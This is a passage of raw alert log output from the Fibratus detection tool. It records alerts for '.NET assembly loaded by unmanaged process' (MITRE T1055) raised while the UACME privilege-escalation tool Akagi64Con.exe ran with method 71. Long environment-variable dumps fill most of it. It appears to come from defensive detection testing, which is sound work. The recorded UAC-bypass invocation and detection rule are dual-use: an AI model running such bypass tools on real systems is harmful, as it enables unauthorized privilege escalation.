CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022554 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.8953462 +0100 CET + Params: base_address➜ 7ffcbbc30000, checksum➜ 0, default_address➜ 7ffcbbc30000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022579 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9007092 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe, image_size➜ 118784, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual 